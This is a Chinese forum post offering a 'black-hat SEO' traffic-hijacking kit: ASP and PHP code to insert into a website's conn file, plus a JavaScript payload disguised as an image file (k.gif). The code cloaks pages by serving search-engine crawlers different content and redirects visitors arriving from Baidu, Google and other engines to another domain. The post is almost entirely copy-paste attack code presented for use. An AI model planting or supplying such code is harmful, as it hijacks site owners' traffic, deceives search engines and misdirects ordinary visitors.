架构师_程序员_码农网

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 8283|回复: 0

[SEO] 黑帽seo技术:include asp php流量劫持

[复制链接]
发表于 2014-12-1 18:48:55 | 显示全部楼层 |阅读模式

首先,很简单,在首页加上以下代码:

asp版
<!--#include file="conn.asp"-->
<script src="images\k.gif"></script>

php版
<!--#include file="conn.php"-->
<script src="images\k.gif"></script>


然后根据网站的程序在conn文件中加入以下代码,如果没有conn.asp或者conn.php,请自行创建:

conn.asp版

-----------以下复制--------------------------------
<%
function isspider()
dim agent,searray,i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","baiduspider","sogou","yahoo","soso","360spider")
isspider= false
for i=0 to ubound(searray)
if (instr(agent,searray(i))>0) then isspider=true
next
end function


function fromse()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER"))
fromse= false
if urlrefer="" then fromse= false
searray=array("google","baidu","sogou","yahoo","soso","360")
for i=0 to ubound(searray)
if (instr(urlrefer,searray(i))>0) then fromse=true
next
end function

function gethttp(url)
  dim http
  set http=createobject("MSXML2.XMLHTTP")
  Http.open "GET",url,false
  Http.send()
  if Http.readystate<>4 then
    exit function
  end if
  gethttp=bytes2BSTR(Http.responseBody)
  set http=nothing
  if err.number<>0 then err.Clear
end function

function bytes2BSTR(vIn)
  dim strReturn
  dim i,ThisCharCode,NextCharCode
  strReturn = ""
  For i = 1 To LenB(vIn)
  ThisCharCode = AscB(MidB(vIn,i,1))
  If ThisCharCode < &H80 Then
  strReturn = strReturn & Chr(ThisCharCode)
  Else
  NextCharCode = AscB(MidB(vIn,i+1,1))
  strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
  i = i + 1
  End If
  Next
  bytes2BSTR = strReturn
End function


if(isspider()) then
  dim myfso,fileurl,filecon,myfile,bodyurl,remotehtml
  bodyurl="http://www.itsvse.com" //快照网址
    response.clear
    remotehtml=gethttp(bodyurl)
    response.write(remotehtml)
    response.write("<!--"&now()&"-->")
    response.flush
    response.end
end if


%>

conn.php

----------------以下复制----------------

<?php
function is_search_bot(){
        $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);
        $identify = array('baiduspider','sogou spider','sosospider','iaskspider','naverrobot');
        foreach ($identify AS $key => $tag){
                if (strstr($user_agent, $tag)){
                        return true;
                }
        }
        return false;}
function is_urlbaidu()
        {
        $come_from="baidu@sogou@soso@iask@naver";
        $referer = explode("@",$come_from);
        foreach($referer as $url){
                if (stristr($_SERVER['HTTP_REFERER'],$url)){
                        return true;
                        }
        }
        return false;}

if (is_search_bot())
        {
        $html = "<title>武汉软件工程职业学院</title> <meta name=\"Author\" content=\"填写和关键词一样\">   <meta name=\"Keywords\" content=\"关键词\">   <meta name=

\"Description\" content=\"描述\">  </head> <body>内容</body> </html>";
        echo $html;
        }
if (!is_search_bot() && is_urlbaidu())
{
Header('Location: http://www.itsvse.com');
}
?>



最后,在images目录下,上传一个k.gif的文件,k.gif代码:


var s=document.referrer
if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0  || s.indexOf("360")>0   || s.indexOf("sogou")>0 )
location.href="http://www.itsvse.com"; //跳转网址






上一篇:最新代码QQ聊天不用再加好友就能聊,和马化腾聊天
下一篇:手机关机窃听的Demo工具——hijackAndroidPowerOff
码农网,只发表在实践过程中,遇到的技术难题,不误导他人。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

免责声明:
码农网所发布的一切软件、编程资料或者文章仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑中彻底删除上述内容。如果您喜欢该程序,请支持正版软件,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。

Mail To:help@itsvse.com

QQ|手机版|小黑屋|架构师 ( 鲁ICP备14021824号-2 )|网站地图

GMT+8, 2024-4-29 20:01

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表